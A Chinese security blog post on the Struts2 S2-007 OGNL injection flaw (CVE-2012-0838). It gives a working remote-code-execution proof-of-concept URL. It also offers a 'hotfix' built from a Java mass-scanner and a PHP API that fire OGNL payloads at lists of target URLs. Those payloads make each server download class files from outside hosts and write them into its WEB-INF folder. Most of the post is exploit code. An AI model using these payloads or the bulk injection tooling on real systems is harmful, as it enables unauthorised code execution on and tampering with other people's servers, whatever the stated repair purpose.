struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix

Andrew.Hann發表於2015-07-12

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

1. Description

S2-007和S2-003、S2-005的漏洞源頭都是一樣的,都是struts2對OGNL的解析過程中存在漏洞,導致黑客可以通過OGNL表示式實現程式碼注入和執行,所不同的是

1. S2-003、S2-005: 通過OGNL的name-value的賦值解析過程、#訪問全域性靜態變數(AOP思想)實現程式碼執行
2. S2-007: 通過OGNL中String向long轉換過程實現程式碼執行
//即它們的攻擊向量是不同的

User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.
關於struts2 OGNL的相關知識,請參閱另一篇文章

http://www.cnblogs.com/LittleHann/p/4614488.html
//搜尋:5. struts2 OGNL表示式

Relevant Link:

http://struts.apache.org/docs/s2-007.html
http://cve.scap.org.cn/CVE-2012-0838.html


2. Effected Scope

Struts 2.0.0 - Struts 2.2.3


3. Exploit Analysis

0x1: POC

http://localhost:8080/S2-XX/Login.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'


4. Principle Of Vulnerability

Apache Struts 2.2.3.1之前的2版本中存在漏洞,該漏洞源於在處理轉換錯誤時評估字串為OGNL表示式。遠端攻擊者可利用此漏洞藉助無效的輸入,修改run-time資料值,進而執行任意程式碼


5. Patch Fix

0x1: upgrade struts2

It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.

0x2: Hotfix

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;

public class StrutsFix {

    private static final String pay1="redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/util/\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie$Node.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie$Node\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}";
        private static final String pay2="redirect:${%23ioc%3d%23context.get('com.opensymphony.xwork2.ActionContext.container'),%23dam%3dnew%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],%23dam%3d%23ioc.getInstance(%23dam),%23field%3d(%23dam.getClass().toString().equals(\"class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper\")?%23dam.getClass().getDeclaredField(\"prefixTrie\"):%23dam.getClass().getSuperclass().getDeclaredField(\"prefixTrie\")),%23field.setAccessible(true),%23ptree%3d%23field.get(%23dam),%23ptree.put(\"redirect:\",null),%23ptree.put(\"redirectAction:\",null),'ITSOK'}";
        private static final String pay3="debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/interceptor/debugging\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/DebuggingInterceptor.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/DebuggingInterceptor\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),'ITSOK'";
        private static final String pay4="debug=command&expression=%23dai%3d%23context.get('com.opensymphony.xwork2.ActionContext.actionInvocation'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode(\"false\")}";

        public static void main(String[] args) throws Exception{

                if (args==null || args.length==0){
                        args = new String[]{"/Users/arno/ip2.txt"};
                }

                File f = new File(args[0]);
                BufferedReader  bf =new BufferedReader(new FileReader(f));

                String line =  bf.readLine();
                int urlCont=0;

                while ( line !=null) {

                        urlCont++;

                        if (urlCont %  2==0 ){
                          Thread.currentThread().sleep(100);
                        }

                        if (urlCont %  5==0 ){
                                  Thread.currentThread().sleep(300);
                        }

                        new Thread(new Runnable() {

                                @Override
                                public void run() {

                                        String url = Thread.currentThread().getName();
                                        System.out.println("");
                                        System.out.print(url);

                                        if (url!=null){
                                           url=url.trim();
                                        }
                                        if  ( ! url.toLowerCase().startsWith("http://")){
                                                url ="http://"+url;
                                        }

                                        if (  url.indexOf("?")<1){
                                                url =url+"?";
                                        }


                                        try{
                                                java.net.URL  urlfile = new java.net.URL(url+"&"+pay1);
                                                java.net.HttpURLConnection  connection = (java.net.HttpURLConnection)urlfile.openConnection();
                                        connection.addRequestProperty("Connection", "close");
                                        connection.setConnectTimeout(2000);
                                        connection.setReadTimeout(100);
                                                connection.connect();
                                                System.out.print(connection.getResponseCode());
                                                connection.disconnect();
                                                connection=null;
                                                urlfile=null;
                                        }catch (Exception e){
                                                System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
                                        }

                                        try{
                                                java.net.URL  urlfile = new java.net.URL(url+"&"+pay2);
                                                java.net.HttpURLConnection  connection = (java.net.HttpURLConnection)urlfile.openConnection();
                                        connection.addRequestProperty("Connection", "close");
                                        connection.setConnectTimeout(2000);
                                        connection.setReadTimeout(100);
                                                connection.connect();
                                                System.out.print(connection.getResponseCode());
                                                connection.disconnect();
                                                connection=null;
                                                urlfile=null;
                                        }catch (Exception e){
                                                System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
                                        }



                                        try{
                                                java.net.URL  urlfile = new java.net.URL(url+"&"+pay3);
                                                java.net.HttpURLConnection  connection = (java.net.HttpURLConnection)urlfile.openConnection();
                                                connection.addRequestProperty("Connection", "close");
                                        connection.setConnectTimeout(2000);
                                        connection.setReadTimeout(10);
                                                connection.connect();
                                                System.out.print(connection.getResponseCode());
                                                connection.disconnect();
                                                connection=null;
                                                urlfile=null;
                                        }catch (Exception e){
                                                System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
                                        }

                                        try{
                                                java.net.URL  urlfile = new java.net.URL(url+"&"+pay4);
                                                java.net.HttpURLConnection  connection = (java.net.HttpURLConnection)urlfile.openConnection();
                                                connection.addRequestProperty("Connection", "close");
                                        connection.setConnectTimeout(2000);
                                        connection.setReadTimeout(10);
                                                connection.connect();
                                                System.out.print(connection.getResponseCode());
                                                connection.disconnect();
                                                connection=null;
                                                urlfile=null;
                                        }catch (Exception e){
                                                System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
                                        }


                                }
                        }, line).start();

                        line = bf.readLine();
                }

        }

}

0x3: PHP API

else if ($vultype == "1110") 
{
    $pay1 = 'redirect:${%23req%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/util/"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie$Node.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}';
        
    $pay2 = 'redirect:${#ioc%3d#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),#dam%3dnew org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],#dam%3d#ioc.getInstance(#dam),#field%3d(#dam.getClass().toString().equals("class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),#field.setAccessible(true),#ptree%3d#field.get(#dam),#ptree.put("redirect:",null),#ptree.put("redirectAction:",null),#dai%3d#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),#field%3d#dai.getClass().getDeclaredField(\'interceptors\'),#field.setAccessible(true),#interceptors%3d#field.get(#dai),#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},\'ITSOK\'}';
        
    $pay3 = 'debug=command&expression=%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/DebuggingInterceptor.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),\'ITSOK\'';
        
    $pay4 = 'debug=command&expression=%23dai%3d%23context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode("false")},#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}';

    //存在struts2漏洞的url: http://target:8080/struts2-blank/example/HelloWorld.action
    $url = $_GET['url'];
    if (empty($url)) 
    {
        die('{"return_code":0,"return_str":"struts2 url missing"}'); 
    }     
    $url = urldecode($url);  
    if ( strpos($url, "http://") !== 0 ) 
    {
        $url = "http://" . $url;
    }
    if ( strpos($url, "?") === false ) 
    {
        $url = $url . "?";
    } 
    $url = substr($url, 0, strpos($url, "?") + 1);

    $md5 = $url . $pay1;
    $res = file_get_contents( $url . $pay1 );
    sleep(1);
    $md5 .= " " . $url . $pay2;
    $res = file_get_contents( $url . $pay2 );
    sleep(1);
    $md5 .= " " . $url . $pay3;
    $res = file_get_contents( $url . $pay3 );
    sleep(1);
    $md5 .= " " . $url . $pay4;
    $res = file_get_contents( $url . $pay4 ); 

    saveToScanDB($client_ip, $url, $md5, $t, $vultype, $platform); 

    die('{"return_code":0,"return_str":"push success"}'); 
}

0x4: POC原理

1. $pay1
redirect:${
#req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/util/"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, 0, #len),
#os.flush(),
#is.close(),
#conn.disconnect(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie$Node.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, 0, #len),
#os.flush(),
#is.close(),
#conn.disconnect()
}
//下載用於修復跳轉OGNL指令的前置過濾器類

2. $pay2 
redirect:${
#ioc=#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),
#dam=new org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],
#dam=#ioc.getInstance(#dam),
#field=(#dam.getClass().toString().equals("class org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),
#field.setAccessible(true),
#ptree=#field.get(#dam),
#ptree.put("redirect:",null),
#ptree.put("redirectAction:",null),
#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#field=#dai.getClass().getDeclaredField(\'interceptors\'),
#field.setAccessible(true),
#interceptors=#field.get(#dai),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},
\'ITSOK\'
}
//載入前置過濾器類,動態關閉redirect、redirectAction開關,並設定URL禁用模式,阻斷攻擊資料包

3. $pay3
debug=command&
expression=#req=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/DebuggingInterceptor.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, 0, #len),
#os.flush(),
#is.close(),
#conn.disconnect(),\'ITSOK\'
//下載用於修復DEBUG命令執行漏洞的過濾器類

4. $pay4
debug=command&
expression=#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#interceptors=#dai.getProxy().getConfig().getInterceptors(),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof org.apache.struts2.interceptor.debugging.DebuggingInterceptor},
#interceptor.{? #this.getInterceptor().setDevMode("false")},
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}
//利用DEBUG命令執行漏洞,動態關閉DEBUG指令執行開關,並設定URL禁用模式,阻斷攻擊資料包

Relevant Link:

Copyright (c) 2015 Little5ann All rights reserved

 

相關文章